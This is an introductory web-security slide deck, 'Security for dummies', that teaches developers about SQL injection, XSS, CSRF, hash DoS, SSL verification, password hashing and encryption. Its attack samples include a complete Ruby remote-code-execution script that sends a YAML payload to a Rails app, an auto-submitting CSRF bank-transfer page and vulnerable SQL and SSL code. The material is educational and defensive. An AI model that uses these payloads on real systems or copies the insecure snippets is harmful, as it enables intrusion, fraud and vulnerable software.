Security for dummies

Dirkjan Bussink d.bussink@gmail.com twitter.com/dbussink github.com/dbussink

Security 101 The very very basics

Not part of today

Social Engineering Because there is no patch for human stupidity

statement = "SELECT * FROM users WHERE name = '"
+ username + "'" SQL Injection

statement = ["SELECT * FROM users WHERE name = ?",
username] SQL Injection Parameter binding

Cross site scripting <div><%= person.name %></div> Inject Javascript!

Mass assignment <html> <body> <form method="post" action="new_person"> <input type="text" name="name"
value="" id="" /> <input type="hidden" name="parent_id" value="123" id="" /> <input type="submit" value="" id="" /> </form> </body> </html> What if I add this?

Frameworks Solve it easily for you

Remote code execution Let the server run my ruby rce.rb
"Process.exit!"

require 'net/http' require 'net/https' require 'uri' require 'yaml' code =
ARVG[0] url = "http://localhost:3000" escaped_code = "foo; #{code}\n__END__\n" yaml = %{ --- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection ? #{escaped_code.to_yaml.sub('--- ','').chomp} : !ruby/object:OpenStruct table: :defaults: :action: create :controller: foos :required_parts: [] :requirements: :action: create :controller: foos :segment_keys: - :format modifiable: true }.strip xml = %{ <?xml version="1.0" encoding="UTF-8"?> <exploit type="yaml">#{yaml}</exploit> }.strip uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) request = Net::HTTP::Post.new(uri.request_uri, "X-HTTP-Method-Override" => "GET") request.content_type = "text/xml" request.set_body_internal(xml) response = http.request(request)

Direct object references http://myapp.com/people/1 Let’s change this to 2!

Access control Scope your queries

External input Trust nobody

Set-Cookie: session_id=lee2oochaekae4woh6A; path=/; document.cookie => "session_id=lee2oochaekae4woh6A;" Steal cookie in combination
with a XSS attack

Set-Cookie: session_id=lee2oochaekae4woh6A; path=/; HttpOnly document.cookie => "" HttpOnly Disallows reading
by Javascript

Set-Cookie: session_id=lee2oochaekae4woh6A; path=/; HttpOnly; secure Secure Only send cookie over
HTTPS

Frameworks Use one that solves this

CSRF Who submits your forms?

On my evil hack site Just loading my page transfers
money <iframe name=hack></iframe> <script> document.write('<form target=hack name=go method=post action="http://mybank.com/transfer.php"> </form>') go.submit() </script>

<html> <body> <form method="post" action="transfer.php"> <input type="text" name="csrf_token" value="om5bohY2" id=""
/> <input type="text" name="amount" value="" id="" /> <input type="text" name="from_account" value="" id="" /> <input type="text" name="to_account" value="" id="" /> <input type="submit" value="" id="" /> </form> </body> </html> Add token to each form Token ensures other site can’t simply POST to your

Hash DOS Crafting input to do DOS attack

Bucket 0 1 2 3 4 5 Figure 1: Normal
operation of a hash table. suggested the use of crypto puzzles [9] to force clients to perform more work before the server does its work. Provably requiring the client to con- sume CPU time may make sense for fundamen- tally expensive operations like RSA decryption, but it seems out of place when the expensive operation (e.g., HTML table layout) is only expensive because a poor algorithm was used in the system. Another recent paper [16] is a toolkit that allows programmers to inject sensors and actuators into a program. When a resource abuse is detected an ap- propriate action is taken. Bucket 0 1 2 3 4 5 Figure 2: Worst-case hash table collisions. bles are so common that programming languages like Perl provide syntactic sugar to represent hash tables as “associative arrays,” making them easy for programmers to use. Programmers clearly prefer hash tables for their constant-time expected behavior, despite their worst-case O(n) per-operation run- ning time. After all, what are the odds that a hash table will degenerate to its worst case behavior? In typical usage, objects to be inserted into a hashtable are ﬁrst reduced to a 32-bit hash value. Strings might be hashed using a checksum oper- Craft input for collision

Hashes everywhere A lot of attack vectors

SSL in your app Verify certiﬁcates

curl_easy_setopt(download_handle, CURLOPT_SSL_VERIFYHOST, 2); 2 is the magic value...

$fp = fsockopen ('ssl://www.paypal.com', 443, $errno, $errstr, 30); fsockopen() does
not validate server certiﬁcate PHP

The “advanced” SSLSocketFactory API silently skips hostname veriﬁcation if the
algorithm ﬁeld in the SSL client is NULL or an empty string rather than HTTPS Java Why this as the default?

require "net/http" require "net/https" require "uri" uri = URI.parse("https://secure.site/") http
= Net::HTTP.new uri.host, uri.port http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_PEER request = Net::HTTP::Get.new(uri.request_uri) response = http.request(request) Ruby Does not validate certiﬁcate by default...

Stupid API’s Know how to work with them

Storing passwords Can I get the passwords stored in your
database?

But I’m safe, I hash and salt! Digest::SHA1.hexdigest( "#{password}--#{salt}" )

1.93% were between 6 and 10 characters long 2.45% were
comprised entirely of lowercase characters 3.36% were found in a common password dictionary 4.67% were reused by the same person on a totally unrelated service (Gawker) 5.Only 1% of them contained a non-alphanumeric character 77 million breached PlayStation Network accounts

260M checks / second GPU acceleration makes forcing viable these
days

Salted hashes are not good enough anymore

Libraries Use them, don’t roll your ow

bcrypt PBKDF2 scrypt

Designed to be slow

KDF 6 letters 8 letters 8 chars 10 chars 40-char
text DES CRYPT < $1 < $1 < $1 < $1 < $1 MD5 < $1 < $1 < $1 $1.1k $1 MD5 CRYPT < $1 < $1 $130 $1.1M $1.4k PBKDF2 (100 ms) < $1 < $1 $18k $160M $200k bcrypt (95 ms) < $1 $4 $130k $1.2B $1.5M scrypt (64 ms) < $1 $150 $4.8M $43B $52M PBKDF2 (5.0 s) < $1 $29 $920k $8.3B $10M bcrypt (3.0 s) < $1 $130 $4.3M $39B $47M scrypt (3.8 s) $900 $610k $19B $175T $210B

I have something else now! Migration is not very hard

Add new authentication When user logs in, store password in
new way After X time remove old passwords

Signing Don’t design your own

user_id=1--kee0oiviemaeXiW7aeb8eexuthohyua Signed cookies Hash computed with secret

http://myapp.com/profile/1/wa5eexuf9wiex1do Email URL with direct login Hash for one time
login

Digest::SHA1.hexdigest( "user_id=#{id}-#{secret_token}" ) Hash with a secret Broken

sha256 = OpenSSL::Digest::Digest.new('sha256') tag = OpenSSL::HMAC.hexdigest(sha256, secret_token, message) HMAC hash-based
message authentication code

Encryption Know what you are doing

AES ECB Just don’t use it

AES CBC / CTR When using CBC mode, an Initialization
Vector (IV) is provided along with the key when starting an encrypt or decrypt operation. If CBC mode is selected and no IV is provided, an IV of all zeroes will be used.

Don’t trust input Also sign encrypted data

cookie = "j2x+8Y5CqDRnYqRvMsHmi61YBzA7qvc4f7agmYxdHgvqz 7Jaekoxjp3MrgSvB3GU--kc/FbSvFIfIFzM0UzQhhvw==" Encrypted cookie aes-128-cbc

"so long, and thanks for all the fish"

Encrypt then MAC Verify that the data is authentic

Authenticated encryption

https://www.owasp.org/index.php/Top_10_2010-Main https://www.owasp.org/index.php/SQL_Injection https://www.owasp.org/index.php/Top_10_2010-A4 https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf http://www.troyhunt.com/2011/06/brief-sony-password-analysis.html http://gpuscience.com/cs/cracking-salted-sha1-password-hashes-on-gpu/ http://www.bsdcan.org/2009/schedule/attachments/86_scrypt_slides.pdf
http://en.wikipedia.org/wiki/Hash-based_message_authentication_code http://blog.jcoglan.com/2012/06/09/why-you-should-never-use-hash-functions-for-message-authentication/ http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29 http://en.wikipedia.org/wiki/Padding_oracle_attack http://tonyarcieri.com/all-the-crypto-code-youve-ever-written-is-probably-broken https://www.coursera.org/course/crypto Background

Security for dummies

Security for dummies

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